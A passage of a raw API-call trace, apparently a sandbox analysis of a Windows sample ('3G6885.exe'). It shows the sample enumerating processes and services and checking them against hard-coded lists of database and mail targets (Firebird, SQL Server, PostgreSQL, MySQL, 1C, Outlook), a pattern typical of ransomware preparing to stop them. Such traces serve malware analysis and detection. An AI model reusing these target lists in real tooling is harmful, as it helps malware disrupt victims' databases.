dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0143.489] lstrlenW (lpString="spoolsv.exe") returned 11 [0143.489] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0143.489] lstrlenW (lpString="taskhost.exe") returned 12 [0143.489] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.489] lstrlenW (lpString="svchost.exe") returned 11 [0143.489] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0143.490] lstrlenW (lpString="userinit.exe") returned 12 [0143.490] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0143.490] lstrlenW (lpString="dwm.exe") returned 7 [0143.490] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0143.490] lstrlenW (lpString="explorer.exe") returned 12 [0143.490] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0143.491] lstrlenW (lpString="3G6885.exe") returned 10 [0143.491] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0143.491] lstrlenW (lpString="reader_sl.exe") returned 13 [0143.491] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0143.491] CloseHandle (hObject=0x328) returned 1 [0143.491] Sleep (dwMilliseconds=0x1f4) [0144.058] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d89a0 [0144.058] EnumServicesStatusExW (in: hSCManager=0x41d89a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0144.058] GetLastError () returned 0xea [0144.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xef8) returned 0x41d77b8 [0144.058] EnumServicesStatusExW (in: hSCManager=0x41d89a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d77b8, cbBufSize=0xef8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d77b8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0144.059] CloseServiceHandle (hSCObject=0x41d89a0) returned 1 [0144.059] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0144.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0144.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0144.059] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0144.059] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0144.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0144.059] lstrlenW (lpString="AudioSrv") returned 8 [0144.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0144.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0144.059] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0144.059] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0144.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0144.059] lstrlenW (lpString="BFE") returned 3 [0144.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0144.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0144.059] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0144.059] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0144.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0144.059] lstrlenW (lpString="CryptSvc") returned 8 [0144.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0144.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0144.060] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0144.060] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0144.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0144.060] lstrlenW (lpString="CscService") returned 10 [0144.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0144.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0144.060] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0144.060] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0144.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0144.060] lstrlenW (lpString="DcomLaunch") returned 10 [0144.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0144.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0144.060] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0144.060] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0144.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0144.060] lstrlenW (lpString="Dhcp") returned 4 [0144.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0144.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0144.060] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0144.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0144.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0144.060] lstrlenW (lpString="Dnscache") returned 8 [0144.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0144.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0144.060] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0144.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0144.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0144.060] lstrlenW (lpString="DPS") returned 3 [0144.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0144.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0144.060] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0144.060] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0144.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0144.061] lstrlenW (lpString="eventlog") returned 8 [0144.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0144.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0144.061] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0144.061] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0144.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0144.061] lstrlenW (lpString="EventSystem") returned 11 [0144.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0144.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0144.061] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0144.061] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0144.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0144.061] lstrlenW (lpString="gpsvc") returned 5 [0144.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0144.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0144.061] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0144.061] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0144.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0144.061] lstrlenW (lpString="iphlpsvc") returned 8 [0144.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0144.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0144.061] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0144.061] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0144.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0144.061] lstrlenW (lpString="LanmanServer") returned 12 [0144.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0144.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0144.061] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0144.061] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0144.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0144.061] lstrlenW (lpString="LanmanWorkstation") returned 17 [0144.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0144.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0144.062] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0144.062] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0144.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0144.062] lstrlenW (lpString="lmhosts") returned 7 [0144.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0144.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0144.062] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0144.062] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0144.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0144.062] lstrlenW (lpString="MMCSS") returned 5 [0144.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0144.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0144.062] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0144.062] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0144.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0144.062] lstrlenW (lpString="MpsSvc") returned 6 [0144.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0144.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0144.062] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0144.062] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0144.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0144.062] lstrlenW (lpString="netprofm") returned 8 [0144.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0144.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0144.062] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0144.062] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0144.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0144.062] lstrlenW (lpString="NlaSvc") returned 6 [0144.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0144.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0144.062] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0144.062] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0144.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0144.063] lstrlenW (lpString="nsi") returned 3 [0144.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0144.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0144.063] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0144.063] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0144.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0144.063] lstrlenW (lpString="PcaSvc") returned 6 [0144.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0144.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0144.063] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0144.063] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0144.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0144.063] lstrlenW (lpString="PlugPlay") returned 8 [0144.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0144.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0144.063] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0144.063] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0144.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0144.063] lstrlenW (lpString="Power") returned 5 [0144.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0144.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0144.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0144.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0144.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0144.063] lstrlenW (lpString="ProfSvc") returned 7 [0144.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0144.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0144.063] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0144.063] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0144.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0144.063] lstrlenW (lpString="RpcEptMapper") returned 12 [0144.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0144.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0144.064] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0144.064] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0144.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0144.064] lstrlenW (lpString="RpcSs") returned 5 [0144.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0144.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0144.064] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0144.064] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0144.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0144.064] lstrlenW (lpString="SamSs") returned 5 [0144.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0144.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0144.064] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0144.064] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0144.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0144.064] lstrlenW (lpString="Schedule") returned 8 [0144.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0144.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0144.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0144.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0144.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0144.064] lstrlenW (lpString="SENS") returned 4 [0144.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0144.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0144.064] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0144.064] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0144.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0144.064] lstrlenW (lpString="ShellHWDetection") returned 16 [0144.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0144.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0144.065] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0144.065] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0144.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0144.065] lstrlenW (lpString="Spooler") returned 7 [0144.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0144.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0144.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0144.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0144.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0144.065] lstrlenW (lpString="SysMain") returned 7 [0144.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0144.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0144.065] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0144.065] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0144.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0144.065] lstrlenW (lpString="Themes") returned 6 [0144.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0144.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0144.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0144.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0144.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0144.065] lstrlenW (lpString="TrkWks") returned 6 [0144.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0144.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0144.066] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0144.066] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0144.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0144.066] lstrlenW (lpString="UxSms") returned 5 [0144.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0144.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0144.066] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0144.066] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0144.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0144.066] lstrlenW (lpString="Winmgmt") returned 7 [0144.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0144.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0144.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0144.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0144.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0144.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d77b8 | out: hHeap=0x300000) returned 1 [0144.066] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0144.068] Process32FirstW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.068] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0144.069] lstrlenW (lpString="System") returned 6 [0144.069] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0144.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0144.069] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0144.069] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0144.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0144.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0144.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0144.069] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0144.069] lstrlenW (lpString="smss.exe") returned 8 [0144.069] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0144.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0144.069] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0144.069] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0144.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0144.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0144.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0144.069] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.070] lstrlenW (lpString="csrss.exe") returned 9 [0144.070] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0144.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0144.070] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0144.070] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0144.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0144.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0144.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0144.070] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0144.070] lstrlenW (lpString="wininit.exe") returned 11 [0144.070] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0144.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0144.070] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0144.070] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0144.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0144.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0144.071] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0144.071] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.071] lstrlenW (lpString="csrss.exe") returned 9 [0144.071] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0144.071] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0144.071] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0144.071] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0144.071] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0144.071] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0144.071] lstrcmpiW 